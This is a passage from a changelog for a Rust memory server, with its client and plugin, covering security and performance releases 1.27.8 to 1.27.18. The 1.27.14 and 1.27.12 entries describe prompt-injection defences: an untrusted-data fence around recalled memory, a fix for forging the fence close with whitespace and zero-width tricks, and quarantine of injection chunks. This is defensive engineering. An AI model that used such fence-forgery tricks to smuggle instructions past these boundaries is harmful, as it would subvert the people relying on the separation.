  • plugin unchanged at 1.27.15 / 0.4.4). The read-path cost pass: PRF term expansion, evidence enrichment, the search filter plumbing, and the release binary itself get their honest perf treatment — and the audit that motivated them surfaced that the FTS-vocabulary PRF weighting (shipped v0.9.1) never actually ran: the bundled SQLite’s fts5vocab instance table exposes (term, doc, col, offset) — one row per occurrence — while the query referenced the pre-3.40 cnt/rowid columns, so every call silently errored into the unweighted fallback. That is now fixed and pinned by tests. No new endpoints, no wire changes, no telemetry.

Release notes

  • PRF corpus weighting now really runs. The recall query-expansion path extracts terms via the FTS5 vocabulary — corpus document-frequency weighting was the design since v0.9.1, but the vocab query never executed against the bundled SQLite (wrong column names), degrading every expansion to the unweighted fallback. The queries now target the real schema, the df round-trip is capped (MAX_DF_TERMS, adversarial-vocab bound), and the expanded term lists are pinned by tests. Because the weighting now applies, expansion output CHANGES versus 1.27.17 (corpus-idf re-ranking) — recall eval rows will shift.
  • Release binary tuned for speed (opt-level “z” → 2; LTO/strip/ codegen-units unchanged). The server is an in-process vector store, not a download; “z” traded measurable recall-latency headroom for binary size.
  • Evidence enrichment batched (one links lookup per result set, was one probe + one query per hit) — and the batched query’s placeholder-pair bug (one of two IN groups never bound → silent empty links) is fixed and regression-pinned.
  • Read-seam fast path: sanitize_read_cow returns the input borrowed — zero copies — when every transform is provably a no-op (clean rows dominate).
  • Search filters become Arc (cheap clones across per-domain recall loops), and a process-local VEC0_READY flag replaces the per-query “does vec0 exist” probe.
  • /domains/{name}/import dial 1 GiB (was capped by the global 1 MiB limit — the route’s dedicated layer now sits before the global one; every other route keeps the 1 MiB cap).

Bug fixes

  • /ingest/memory could store an oversized entry or silently report “Empty content” for invalid UTF-8. Both now hard-reject: per-entry content over MAX_CONTENT → 400 entry_too_large (all-or-nothing, before any write), non-UTF-8 body → 400 invalid_utf8. Every legacy wire shape is unchanged.
  • Entity-mention dedup was quadratic (O(m²) containment scan per sentence); now a linear running-scan with the old result pinned as a test oracle on randomized fixtures.
  • The retention read-gate used strftime('%s', …) TEXT math; the exact same predicate now uses unixepoch(COALESCE(…)) — value-identical (pinned SQL-side) and index-friendly.
  • Connection-tracker slot leak on ingest timeout. An /ingest/memory that exceeded the 60 s bound (and panics) kept its single-connection slot until the next sweep; the slot is now an RAII guard released on every exit.
  • Reserved index slots vacuumed: idx_knowledge_domain, idx_knowledge_owner, idx_knowledge_title_heading added (domain delete, DSAR subject resolution, proposal write-gate dedup); idx_tombstones_kid, idx_entities_name, idx_evidence_links_from dropped (each a strict duplicate of a UNIQUE autoindex or newer sibling). Schema → 1.27.18.

Engineering record

  • The E-1 finding, documented: prf_df_matches_legacy_corpus_scan + prf_vocab_schema_is_occurrence_shaped freeze the real (term, doc, col, offset) schema and pin the new queries’ output to the mathematically-intended legacy semantics; test_prf_extract_terms_fts_weights_corpus now asserts the stemmed vocab shapes (“microbiom”/“inflamm”) it quietly couldn’t before.
  • F-44 layer-order meta-test: layer_semantics::import_route_accepts_large_body
    • other_routes_still_capped_at_1mib rebuild the PRODUCTION two-limit structure so an ordering regression fails locally.
  • F-46 pinned: push_gate_filters_emits_unixepoch_kind_defaults (SQL clause) + retention_filter_equality_unixepoch_vs_strftime (SQLite-side value equality incl. the sentinel epoch).
  • F-53 pinned: tracker_entry_releases_on_drop_and_panic + ingest_timeout_releases_tracker_slot.
  • Tests: server bin 673 / 6 ignored, lib 125 / 1 ignored, brain 12, mcp 17, bench 8; clippy -D warnings + fmt clean.
  • Honest ceilings: MAX_DF_TERMS only binds on adversarial vocabularies (the escape hatch stays the pure fallback); F-45 is a pre-write rejection, not a new bound on the legacy 200-shell; the revoked-at schema defaults keep their TEXT strftime form (value-consistent single format); schema bumps once (the 1.27.18 migration drops three indexes on the first boot after upgrade). See docs/AGENTS_HISTORY.md for the audit trail.

[1.27.17] — 2026-08-16

Security — “Strongbox”

Server-only release (server Cargo.toml/lock 1.27.16 → 1.27.17; client + plugin unchanged at 1.27.15 / 0.4.4). The audit single-file-focus release: the backup envelope — the one at-rest file that holds the whole memory — gets a real key derivation + per-backup random keys, and the plaintext snapshot it writes mid-backup is born 0600, cleaned on failure, and never clobbers a live file. No new endpoints, no schema change, no telemetry.

Release notes

  • Per-backup random keys (was: deterministic nonce). A v1 backup derived its AES-GCM nonce from SHA-256(passphrase || created_at) — two backups within the same second reused the identical nonce (catastrophic in GCM). Backups now use argon2id key derivation with a random 16-byte salt and a random 12-byte nonce sourced per backup from the RNG (new format; legacy v1 files still restore).
  • Argon2id key derivation (was: SHA-256). v1 derived the 32-byte key with a single SHA-256 of the passphrase — offline dictionary attacks at trivial cost. New backups use argon2id (64 MiB / 3 passes / 1 lane, tuned to stay under ~2 s on dev hardware).
  • Plaintext snapshot is 0600 at birth (was: umask-dependent). The safety-snapshot / backup VACUUM INTO file was created with umask-derived permissions and chmod’d only after success — a crash inside the window left readable plaintext. Snapshot files are now created 0600 via create_new (a pre-existing file at the path aborts, never overwrites) and are removed on every failure path.
  • Restore refuses to clobber the previous safety snapshot. Restoring over an existing target already preserved the pre-restore state as <db>.bak; a second restore silently failed on that file with a cryptic SQL error. It now fails-closed with a clear message before touching the disk.

Improvements

  • brain backup gains --format v1|v2 (default v2); restore and brain doctor --backup auto-detect both formats.
  • Backup refuses to run while a stale brain.bak exists (a swapped/truncated source DB was previously enshrined as the “safety snapshot”).

Engineering record

Milestone detail in IMPLEMENTATION_PLAN_v1.27.17_Strongbox.md. M1 the envelope: BSBK magic + u16 version + u32 length-prefixed JSON header ({"kdf":"argon2id","t":3,"m":65536,"p":1,"salt":…,"nonce":…,"created_at":…}), header bytes authenticated as GCM AAD so a bit-flip of salt/nonce/params fails decryption; the KDF vocabulary is closed (only argon2id parses); restore verifies the passphrase by decryption (no stored-key comparison), so same-passphrase-any-header restores work; decrypt_backup is the single decrypt seam for both restore and verify; legacy v1 files route to the original decrypt path with a warn! (read compat forever). M2 snapshot hygiene: vacuum_into (SQL-quote-escaped literal, unit-pinned), create_private_file (0600 + create_new), SnapshotGuard removes the plaintext snapshot on every error path (pinned by an unreadable config-dir failure injection). M3 restore integrity: manifest xxh3 vs decrypted snapshot, done work against the decrypted bytes before the live DB is touched; .bak pre-existence both sides fails closed (F-17’s stale-bak-enshrined trap closed). M5 the --format flag routes through backup_with_config_dir_and_format (now pub). Tests: lib 124 / 1 ignored (incl. 20 backup tests: roundtrip, same-second nonce uniqueness, v1 read-compat, tamper rejection, wrong passphrase, Argon2id < 2 s soft benchmark, 0600-at-birth, planted-path refusal, failure-guard cleanup, quote escaping, .bak clobber refusal); bin 659 / 6 ignored; brain 12, mcp 17, bench 5; clippy -D warnings + fmt clean. Live E2E smoke on a scratch DB: v2 backup → doctor --backup verify → restore (.bak 0600) → v1 backup restores → wrong passphrase rejected on both doctor and restore. Honest ceilings: the passphrase remains the only secret (no KMS/rotation); the safety snapshot is the rollback path, not a journal — restoring twice requires moving the .bak (fail-closed by design); v1 files are never migrated in place. See CHANGELOG.md §[1.27.17].

[1.27.16] — 2026-08-16

Security — “Drawbridge”

Server-only release (server Cargo.toml/lock 1.27.15 → 1.27.16; client + plugin unchanged at 1.27.15 / 0.4.4). The fail-closed pass over the identity + read surfaces the audit itemized: auth degrades closed instead of open, trust labels are closed vocabularies at the write boundary, the multi-db domain registry gains a registration cap (a probeable API can no longer create files), and JWT-principal reads honor the domain label on every by-id / search / graph seam. No new endpoints, no new columns, no telemetry.

Release notes

  • Auth degrades closed, never open. A poisoned token-store lock was an empty set → “auth disabled” → allow-all; it is now fail-closed 500 auth_store_unavailable. A configured-but-empty token store (file or env set, zero tokens) denied everything; it now returns 401 instead of reading as “no auth”. The JWT revocation check (v1.2.0) skipped itself on ANY pool/SQL error (if let Ok(conn) + unwrap_or(false)); any store failure now denies. The role-retrieval gate (v1.23.0) degraded to “no narrowing” (read everything) on a pool/role-store error; it now degrades to the empty permit (read nothing) with a warn!. /auth/logout is no longer a public route: the presented access token is verified by the middleware first — an unauthenticated “logout” could only ever succeed at revoking nothing.
  • The multi-db domain registry is now registered-only and capped. In BRAIN_MULTI_DB=true, pool_for NEVER opens a file for an unregistered name (previously any probeable read created brain-<name>.db lazily — unbounded disk fill). POST /domains is the one creation path, bounded by BRAIN_MAX_DOMAIN_DBS (default 256; 507 insufficient_storage beyond it); every resolution read of an unknown name returns the probe-blind 404 domain_unknown (indistinguishable from an empty-but-real domain). The clients-register boot seed keeps client domains resolvable if their file vanished between boots (recreated on first access, still cap-bounded).
  • JWT principals are domain-scoped on reads. /search now authorizes against the domain it actually queries (was always global). /get/{id} and /multi-get bind the header’s X-Brain-Domain label in SQL — an id can never cross domains in shim mode — re-authorize on the row’s own domain, and run the same record gate (v1.14 scopes + v1.23 roles) recall enforces; foreign rows read as 404 / are dropped, never loud. Recall federation and graph traversal drop foreign-domain targets before any search runs; shim-mode graph edges scope by their chunk’s provenance label (an unlinked edge is invisible to scoped readers).
  • Trust labels are closed vocabularies at the write boundary. /ingest rejects an unknown/mixed-case memory_kind (400 invalid_memory_kind — no silent fallback to fact) and a confidence outside 0.0..=1.0 (400 invalid_confidence — no silent clamping, a clamped lie hides the liar); the proposal path (/proposals) enforces the same strict kind round-trip. A JWT (agent) principal on /add may only use the closed source vocabulary (ingest kinds + connector family kinds) — manual, the origin:human marker, is excluded so a token-authenticated agent cannot forge human authorship. The UMP L3 operator signing key now fails closed to L2 on a group/world-readable seed file (same 0600 enforcement the other secrets get).
  • The per-IP rate limiter actually was not per-IP. The serve wiring never injected the peer SocketAddr extension, so every client shared ONE “unknown” bucket — a global rate limit in practice. The server now serves with into_make_service_with_connect_info, buckets are keyed by remote address (production-behavior pinned by a source-inspection test), and the bounded key set (RATE_LIMIT_MAX_KEYS) evicts the oldest 25% rather than growing unbounded.

Engineering record

None. None.

  • M1 (F-04/F-05/F-06) — the domain read-gate. handlers::can_read_domain / authorize_read_domain (pure scope predicate, read:team/* = read-everywhere; loopback/opaque unchanged superuser); resolve_domain_pool flattened onto map_domain_error; gate::RecordReadGate (+ record_read_gate) = the composite (access_scopes, owner_in) pair; SQL domain predicate + row-domain re-auth on /get/{id} + /multi-get; targets.retain(can_read_domain) on recall federation + traverse_graph (explicit forced domains stay loudly 403); graph_domain_scope + entity_relations/relations_for/traverse ?domain clauses in shim mode.
  • M2 (F-07) — per-IP rate limiting. into_make_service_with_connect_info::<SocketAddr>; source-pin test that the wiring survives; bounded RateLimiter key set + eviction tests.
  • M3 — fail-closed identity. M3.1/F-26 auth::TokenRead (NotConfigured|Active|ReadFailed) + configured-but-empty denies; M3.2/F-27 role_retrieval_gate empty-permit degradation (+ AND 1 = 0 predicate guards for empty sets — SQLite has no IN ()); M3.3/F-28 revocation check fails closed on store errors; M3.4/F-13 /auth/logout behind the bearer middleware; M3.5/F-25 UMP operator-key seed refuses wide modes.
  • M4 (F-33) — write-boundary trust labels. MemoryKind::is_strict_valid (round-trip) in the proposal + ingest gates; confidence ∈ 0.0..=1.0; M4.3 /add closed source vocabulary for JWT principals (ADD_SOURCES_FOR_JWT; manual excluded).
  • M5 (F-41) — the domain-registration cap. MAX_DOMAIN_DBS = 256 (BRAIN_MAX_DOMAIN_DBS override), DomainRegistry::register (the ONE creation path) / seed_registered (boot-time, no eager pools) / registered pool_for (refuses Unknown, never creates); clients-table boot seed; map_domain_error seam: 400 domain_invalid / 404 domain_unknown / 507 insufficient_storage / 500 internal. All pool_for call sites and test helpers migrated to register.
  • Contract: openapi.yaml — /auth/logout described behind the bearer middleware; /add source vocabulary; /ingest memory_kind + confidence fields + 400 codes; POST /domains 507; NotFound note on domain_unknown. The x-api-version stamp stays "1.21.0" (no wire-shape change; the runtime header follows CARGO_PKG_VERSION).
  • Tests: server bin 659 passed / 6 ignored (was 643 — +16, all in the new M1–M5 suites), lib 113 / 1 ignored, mcp 17, brain 12, bench 5; client 131 untouched. clippy -D warnings + fmt clean; badges.sh --selfcheck clean. UMP conformance drops to L2 when the operator key is refused for wide modes (by design, fails closed).
  • Honest ceilings: the record gate + domain predicates are read-time enforcement over stored rows — a row’s domain/scope/owner are still honored as written (a write that stores a wrong label is out of scope); the graph edge scope keys on the chunk link, so an edge whose knowledge_id is NULL has no domain atom and is invisible to scoped readers (loopback/opaque see it); the capacity cap bounds multi-db registrations — shim mode shares one file and is untouched by it; fail-closed degradation means a role-store outage denies retrieval (the empty permit) rather than serving all rows — availability-first operators should monitor for the warn!. Code-block safety, quarantine, and fence integrity surfaces unchanged from v1.27.15.

[1.27.15] — 2026-08-16

Minor — “Holdall”

Server + client release (server Cargo.toml/lock 1.27.14 → 1.27.15; client Cargo.toml/lock 1.27.13 → 1.27.15; plugin unchanged at 0.4.4). Two independent lines: the server closes the remaining legal-hold erasure gaps (the fence becomes universal and the erase trails carry deletion evidence), and the client re-works the offline destruction queue so an irreversible action can never auto-fire on reconnect.

Release notes

Improvements

  • The legal-hold fence (v1.22.0) now guards every erasure path, not just /purge and DSAR: DELETE /memory/{id}, DELETE /sources/{id}, /sources/reconcile sweeps, DELETE /quarantine/{id} and DELETE /domains/{name} all refuse with the same 409 legal_hold_active envelope while any target chunk is under an active hold — all-or-nothing, inside the same transaction as the delete. The known audit exploit (hold a chunk, then retire its source with {"live": []}) is closed at the preflight.
  • The deletion registry now carries the same SHA-256 content digest on single-chunk memory deletes that /purge writes — every erase trail records identical deletion evidence.
  • Deleting a domain no longer erases its audit chain: the domain’s audit segment is exported to <data>/archives/<domain>-audit-<date>.ndjson (0600) before the rows go, the in-file audit_events survive, and a domain_deleted event is appended to the surviving chain.
  • Strict-posture domains erase with teeth: DSAR purges and memory deletes run PRAGMA secure_delete=ON + a wal_checkpoint(TRUNCATE) after commit, and the deletion certificate discloses the honest remanence posture verbatim — secure_delete+checkpoint (backup files excepted) for a strict domain, the disclosed logical posture otherwise. Best-effort profile lookup: an unreadable/missing bind never fails closed into a lie.
  • Hold release now carries the DPO/admin dual gate (the same seam a breach close uses), and the Art-30 transfer-register row lands atomically with its audit row (SAVEPOINT inside the write tx).
  • A fenced code block can no longer produce a single oversized chunk: the chunker now hard-caps code blocks at 8× the regular cap and splits any over-limit block at newline boundaries, re-opening the fence with the same info string on every continuation piece.
  • (Client) a queued Purge/DSAR action never auto-replays on reconnect: destructive actions park in the offline queue and surface as an explicit review banner with their queue write time, per-row dismiss, and a “keep + clear” decision. The offline envelope stores an anonymous SHA-256 subject_hash — the raw subject never persists — and replay re-prompts for it.
  • (Client) destruction confirmation is now a shared two-step component behind a preview gate: the DSAR wipe confirms only while a fresh footprint preview is on screen, and editing the subject input after arming re-freezes the confirm.

Engineering record

  • Holdall M1 (F-02): legal_hold::refuse_if_held — one guard, one envelope. Wired into forget.rs, sources.rs/handlers/sources.rs, main.rs (AppError::Conflict → 409 on the legacy quarantine path), handlers/domains.rs (domain-wide hold preflight).
  • M1.3: memory-delete tombstones gain content_hash; M1.4: export_audit_segment + audit_events preserved + domain_deleted event.
  • M2/M2.1/M2.2 (F-24): secured_remanence threaded through run_dsar_pool/run_dsar_subject + the forget path; physical_purge certificate field disclosed.
  • M3 (F-51): hold-release DPO gate reuses require_dpo_role (pub(crate)); transfer Art-30 row + audit atomic via SAVEPOINT.
  • M5 (F-52): MAX_CODE_CHUNK_BYTES (8× normal) + split_oversized_code.
  • Client M4: queue.rs split/replay rework (parked subset, queued_at, subject_hash, take_replayable), replay.rs restored-queue row component + banner, shared confirm.rs::ConfirmDestructive, DSAR preview gate in subjects.rs, quarantine/system/data wipe confirms, sha2 dep (hand-rolled hex, +~30 KB wasm).
  • Tests: server bin 643 passed / 6 ignored (default + --features bench; otel 645 / 6), lib 113 / 1 ignored, mcp 17, brain 12, bench 5; client 131; badges.sh --selfcheck clean (809 passed, UMP L3); clippy -D warnings (default, bench, otel), fmt clean, cargo audit clean (2 pre-existing allowed advisories), release build + wasm release (5.24 MB < 7 MB budget) clean.
  • Honest ceilings: the hold fence guards chunk rows — source/domain deletion preflights via chunk membership, so a source with no held chunk still deletes; secure_delete/WAL-truncate are best-effort hygiene (a checkpoint failure never fails the erasure, and the certificate discloses — it cannot guarantee — remanence; backup files are excepted); the client banner is a UI surface, the parked queue is the enforcement; offline replay success is detected via the same idempotency shapes as the approval queue (replay_applied).

[1.27.14] — 2026-08-16

Patch — “Fencepost2”

Server + plugin patch release (server Cargo.toml/lock 1.27.13 → 1.27.14; plugin 0.4.3 → 0.4.4; client unchanged at 1.27.13). Landing the information-flow-integrity follow-up: the untrusted fence becomes a structural (not decorative) boundary on every LLM-facing seam, and the quarantine taint can no longer be lost or silently written.

Release notes

Bug fixes

  • The plugin’s block sanitizer stripped the fence sentinels before normalizing whitespace, so a near-marker that a transform then synthesized (e.g. a CONTEXT–END boundary with an NBSP/TAB/zero-width split) could forge the fence close after it was already removed. The sentinel strip now runs last — after every transform that can create or shorten a marker — and the invisible class is stripped before whitespace collapse so U+FEFF is removed rather than widened to a space.
  • The recall snippet field was the one detail value handed to the host without passing through the block sanitizer; it now goes through the same boundary as title and content.

Improvements

  • Every stored-content read surface on the server (UMP reads, legacy /search, /quarantine review list, recall/suggest metadata) now routes through a single sanitize seam — the same bidi/zero-width/markdown-ref boundary the recall path already used. A wiring meta-test pins the seam to every response-forming site, so a future read path that emits stored text without it fails the suite.
  • The MCP tool-result seam now wraps results in the same untrusted fence the plugin uses, and strips control characters — an MCP host gets the structural data/instruction boundary on the wire too. The brain CLI recall/get prints gain the same strip parity.

Security fixes

  • The quarantine flag write now fails closed: flag_if_quarantined returns a Result, and every ingest path (structured, procedure, /add, /ingest/ memory) rolls back or errors rather than store an injection chunk with a silently-missed flag. Separately, /ingest/memory now flags a Reject verdict (stricter, never dropped) under the default quarantine posture — a hit the classifier is confident about is excluded from retrieval, not stored cleanly.

Engineering record

  • Plugin (F-01): sanitizeForBlock order changed from strip-sentinels-first to strip-last; the \s-collapse now runs after the U+E0000–U+E007F-inclusive invisible strip so U+FEFF (which JS \s treats as whitespace) is removed, verified by a new near-marker forgery suite (NBSP/TAB/VT/double-space/ZW/ZWNJ/FEFF × BEGIN/END). New regression caught on the openclaw tree: FEFF widened to "ig nore"; now stripped to "ignore". All 142 extension tests pass.
  • Server read-seam (M3): sanitize_read(_opt)/sanitize_stored in src/gate.rs; UMP reads sanitize a clone of the row (integrity stays self-consistent); fixes the borrow-lifetime fallout of the owned row_owner copy in ump_ops.rs.
  • MCP/CLI (F-20/F-63): shared FENCE_BEGIN/END + strip_markdown_refs
    • strip_control_chars in the new src/fence.rs; tool_result_payload wraps results, format_response + brain prints gain parity.
  • Quarantine fail-closed (F-15): flag_if_quarantined → rusqlite::Result<bool> propagated through handlers/ingest.rs, handlers/procedure.rs, and the main.rs /add + /ingest/memory paths.
  • Tests: server bin 627 passed / 6 ignored, lib 113 / 1 ignored, brain 12, mcp 17 (--features bench); client 124 unchanged; plugin 142 extension tests (openclaw vitest); clippy -D warnings + fmt clean; badges.sh --selfcheck clean; UMP L3.
  • Honest ceilings: the fence is transport-layer data/instruction separation, not a CaMeL/FIDES capability lattice; the restore in main.rs rollback path drops the uncommitted tx (chunk never stored) rather than re-flagring; the snippet strip is a single point, not a re-run of the full screen; plugin is validated via the openclaw vitest suite + tsc, the standalone runner does not exist here.

[1.27.13] — 2026-08-16

Patch — “Contract”

Server + client patch release (server + client Cargo.toml/locks 1.27.12 → 1.27.13; plugin 0.4.3, first released here). Ships the two post-1.27.12 integrity fixes and completes the documentation contract: every documented endpoint now states its response body.

Release notes

Bug fixes

  • Client: detail-modal approvals now forward the server content_digest like the queue and batch paths already did — previously a modal approval sent no digest, so a drifted (tampered or stale) proposal could still be approved from the detail view. The decision now binds to the bytes displayed in every client path.
  • Plugin: the provenance tag labels (src/mk/lb/reg) rendered inside the UNTRUSTED_* fence now run through sanitizeForBlock like hit bodies — a recalled chunk can no longer forge its own attribution line or break the fence markers through a label.

Improvements

  • The OpenAPI contract (GET /openapi.yaml) now documents the response body of every 200/201 endpoint: 51 previously description-only responses carry wire-exact examples, and /auth/logout is corrected to its real contract (204 on success, 401 when no principal is presented).
  • Docs: the endpoint inventory in docs/api.md and the README API tables now cover the full v1.21–v1.27 surface (profiles, roles, connectors, domains, clients register, cross-border transfers, breach, legal hold).

Security fixes

  • None beyond the two integrity bug fixes above (no new surface; the fixes close gaps in the v1.27.12 features).

Engineering record

  • Client fix: client/src/panels/review.rs DetailActions now passes Some(&digest) (previously None), matching the queue quick-approve and batch paths. The key-accelerator quick-approve, ops panel, and offline replay still deliberately pass None (the documented legacy path; the server enforces the binding only when a digest is present).
  • Plugin fix: the [src: · mk: · lb: · reg:] provenance line (v1.27.12) labels pass through the same sanitizer as hit bodies before rendering.
  • Contract pass: openapi.yaml examples were extracted from the handler sources (BreachView, Transfer, TiaTemplate, DpaTerms, Client, LegalHoldRow, DsarResponse, DsarLedgerRow, AuditRow, capabilities, recall trace, ProposalView), not guessed; YAML validated and test_openapi_covers_routes + authz_gates_cover_every_non_public_route re-pinned. The x-api-version: "1.21.0" contract stamp is unchanged (the wire contract did not move; the runtime X-Api-Version header follows CARGO_PKG_VERSION as before).
  • Tests: server bin 626 passed / 6 ignored, lib 105 / 1 ignored, brain 12, mcp 15, bench 5 (--features bench); client 124 passed; clippy -D warnings + fmt clean on both trees; cargo audit clean (2 allowlisted warnings); UMP conformance L3; recall eval gate r@5 0.919 / r@10 0.919 / mrr 0.905 (floor 0.850).
  • Honest ceilings: the contract pass documents shapes that were already shipping — it changes no wire behavior; the detail-modal fix binds the digest but legacy no-digest approvals remain accepted by design (backward compat); ROADMAP.md’s Caliber-line header is intentionally not touched (the v1.27 line has never updated it).

[1.27.12] — 2026-08-15

Security — “ReviewArmour · Rotate · Provenance”

Server + client + plugin security release against the 2026 agentic-AI threat landscape (OWASP Agentic Top 10 / MS AI Red Team v2 lines): the HITL approval now binds to the bytes the reviewer was shown, ambient bearer tokens can be retired, and recalled context carries its provenance into the prompt.

Release notes

Security fixes

  • Review approvals now bind to the displayed bytes: /proposals returns the read-canonical review form + a stable content_digest; approving with a stale digest is rejected (409). The reviewer’s decision can no longer bless content that recall would render differently.
  • Recalled context now carries per-hit provenance tags (ingest kind, memory kind, lawful basis, region) inside the untrusted-data fence, so the model can attribute — not just trust — what it recalls.
  • The operator CLI can now rotate the server bearer token (brain token rotate), retiring a leaked copy; server startup warns when a webhook sink is unsigned or the UMP signing key is group/world-readable.

Improvements

  • No new storage, no new tables, no telemetry. All changes ride the existing seams (read seam, recall wire, CLI).

Engineering record

  • ReviewArmour (gate.rs): list_proposals serves the read-canonical content (sanitize_read: PII redaction → markdown-ref strip → invisible-Unicode strip) alongside a stable, principal-independent review_digest over the stripped form (PII kept out of the fingerprint so admin and non-admin readers see the same digest). approve_proposal accepts an optional digest (backward-compatible: None = legacy quick-approve / offline-replay) and returns 409 on any drift.
  • Rotate (brain CLI): token rotate generates a fresh 32-byte hex token, atomically rewrites the token file (0600; fail-closed on group/world-readable secrets) and prints the operator-side BRAYN/BRAIN_SERVER_AUTH_TOKEN coordination step — the server never unilaterally rewrites the openclaw env source. Startup warnings added for unsigned webhook sinks (alert/DSAR) and loose UMP signing keys.
  • Provenance (search/handlers/plugin): knowledge’s stored source (ingest kind), node_kind (memory kind), lawful_basis, region are now selected by the vec0 + FTS retrievers, threaded through fusion, and serialized on RecallHit (all Option<String>, absent when null). The plugin renders a deterministic per-hit [src: · mk: · lb: · reg:] line inside the UNTRUSTED_... fence; brain-client.ts hit/wire types extended.
  • Tests: server bin 626 passed / 6 ignored (search 72, recall 23, gate 50, results_to_hits 7 incl. the new provenance-forwarding pin); brain bin 12; clippy -D warnings + fmt clean.
  • Honest ceilings: approve binds — it does not force full-read or rewrite at-rest rows; token rotate coordinates the file only (the env source is a printed step, not auto-edited); provenance tags are labels, not an enforced taint/declassification policy; the optional domain-isolation federation flag (“Boundary”) is intentionally not in this release (it changes recall breadth and ships gated).

[1.27.11] — 2026-08-15

Client — “Console”

The series capstone (Release 10 of 10). Client Cargo.toml/lock 1.23.0 → 1.27.11; server + plugin unchanged. The client release that turns the R1–R9 register/roles server surfaces into the role-gated BPO dashboard views.

Release notes

Improvements

  • New Clients panel, role-gated: a client-auditor gets their own single-client dashboard (read-only, domain-scoped), and bpo-ops/admin get the all-clients operations board (register + connector status + review-queue depth).

Engineering record

role.rs gains ConsoleView + console_view() (pure): client-auditor → ClientAdmin, bpo-ops + the full-control roles (admin/solo/controller) → BpoOps, nothing else (no roles / agent / staff) → Undefined (the existing panel gating governs). main.rs adds Route::Clients {} gated into both the desktop rail and mobile tab bar only when console_view resolves, plus a palette entry + keyword registration (palette coverage test 14 → 15 targets). panels/console.rs implements the two panels; client_admin is the honest single-tenant-per-client poster — it renders only the clients granted by the client-side allowlist (api::client_auditor_domains, the token mirror of the server client_authorized_domains seam) and has NO client switcher, while the server R9 row filter is the backstop (defense-in-depth, with filter_granted as the pure re-filter — Some([]) renders nothing, deny-by-default). bpo_ops is read-only: /clients register + /connectors status + /proposals pending depth. i18n (nav_clients + console_* keys in en; de/fr/es/nl fall back). Tests: client 119 → 122 passed (+ client_admin_view_never_renders_foreign_clients, connector_state_maps_to_color, and the console_view preset pins); clippy -D warnings + fmt clean; release wasm 5.1 MB (budget 7 MB). Honest ceilings: the console is read-only UI over the shipped API — no new server surface (the full client-admin Overview/Data/ Rights/Audit panels named in the plan reduce to the register overview here; the rest are the existing panels the server gates per-role); client-auditor tokens are operator-issued (scopes → client domain); the OS-keyring/bearer token provenance is unchanged. See IMPLEMENTATION_PLAN_v1.27.11_Console.md.


[1.27.10] — 2026-08-15

Server — “Roles (hardening)”

Release 9.1 follow-up. Server Cargo.toml/lock 1.27.9 → 1.27.10; schema unchanged (1.27.8); client + plugin unchanged. The deep-review pass over v1.27.9.

Release notes

Improvements

  • Hardened the client-auditor grant: the operator global root domain is never a valid auditor target (the min-necessary wedge cannot widen to the operator pool), and the /clients list filter is now type-safe over the register rows.

Engineering record

Three refinements to the v1.27.9 seam, behavior-preserving for the shipped path: auth::client_authorized_domains excludes global (in addition to *) from an auditor’s allowlist; list_clients filters the typed Vec<crate::clients::Client> before serialization (stringly-typed serde-key filtering removed, less allocation) and returns an empty list (not 404) for a misconfigured zero-grant auditor — still deny-by-default; get_client computes the allowlist once instead of twice. Tests: server bin 619 → 620 / 6 ignored (added client_auditor_with_no_granted_domain_sees_nothing), lib 105 (+ preset-level can == ["read"] wedge pins for client-auditor + bpo-ops); clippy -D warnings + fmt clean; CI green. Honest ceiling unchanged — a read- time row filter on one register, not multi-tenancy (v2.0 Cortex).


[1.27.9] — 2026-08-15

Server — “Roles”

Release 9 of 10 of the BPO Ops series. Server Cargo.toml/lock 1.27.8 → 1.27.9; schema unchanged (1.27.8); client + plugin unchanged.

Release notes

Improvements

  • Two new role presets: a client-auditor (a client’s compliance login — a read-only view of exactly one client domain, no write/approve/purge) and a bpo-ops (the all-clients operations read). Both seed as editable rows.
  • Domain-scoped client views — a client-auditor’s GET /clients + GET /clients/{name} are filtered to its granted client-domain(s); other clients never appear (and are denied with no existence leak).

Engineering record

The BPO per-client role postures + the domain-scoped client read. M1: role::PRESETS_RAW gains the two presets (INSERT OR IGNORE seeded by the existing migration — no schema bump: roles are rows, not tables). M2: auth::client_authorized_domains — the pure allowlist seam mapping a client-auditor principal to the non-wildcard domains of its scopes (None = unrestricted; Some(&[]) = sees nothing, deny-by-default). M3: GET /clients + GET /clients/{name} in handlers::clients.rs enforce the row filter (the handler still calls authorize, defense-in-depth); every non-client-auditor principal keeps the existing Admin path gate, so bpo-ops/admin/opaque all see the full register. Wire/route-coverage + route-authz guard tables note the change; no openapi schema drift (only rows vary).

Tests: server bin 617 → 619 passed / 6 ignored (incl. parent verification #7: client_auditor_sees_only_their_domain — auditor sees only acme-us, {beta} is 404, bpo-ops sees all; + client_auditor_can_read_only — the read-only wedge); lib role presets parse/validate at 12; schema-contract test pins 12 seeded roles; clippy -D warnings + fmt clean. Honest ceilings: this is a read-time row filter on one deployment’s register — not true multi- tenancy (per-client authz authority/keys/independent failure) = v2.0 Cortex; auditor tokens are not auto-provisioned (the operator binds the auditor’s scopes to its client domain, a documented setup step); POST /clients creation stays Admin. See IMPLEMENTATION_PLAN_v1.27.9_Roles.md.


[1.27.8] — 2026-08-15

Server — “QaQueue”

Release 8 of 10 of the BPO Ops series. Server Cargo.toml/lock 1.27.7 → 1.27.8; schema → 1.27.8; client + plugin unchanged.

Release notes

Improvements

  • Supervisor QA queue — every agent interaction that wrote memory now surfaces in the supervisor’s per-client review queue, tagged with its agent owner, its R7 QA qa_score, and audited as the action happened.
  • Coaching — a supervisor can attach (or clear) a coaching note (+ advisory flag) on any review item, so QA feedback is recorded without blocking approval.

Engineering record

The R7 QA core is wired into the review surface. Additive migration: proposals.owner + proposals.qa_note (schema → 1.27.8), the first DDL since R1. ingest_proposal attributes the candidate to the acting agent (principal_to_owner; the audit actor is now the principal label); the ProposalView gains owner/qa_note/qa_score. src/qa.rs::score_for composes the R7 scorecard purely over the read shapes — an absent trace degrades cited to the neutral corner (never NaN; proposals are not recall-trace-linked in schema, so has_trace stays false). owner_in_filtered narrows a page to the supervisor’s manages set (R1 role; empty = whole queue). POST /clients/{name}/proposals/{id}/coach (Admin, audited — the note is hashed at rest) + GET /clients/{name}/proposals (the owner-scoped QA queue), wired into the router + route-coverage + route-authz guard tables + openapi.yaml. brain client qa list|coach are the supervisor verbs. approve_proposal carries the note into the promoted chunk’s origin.

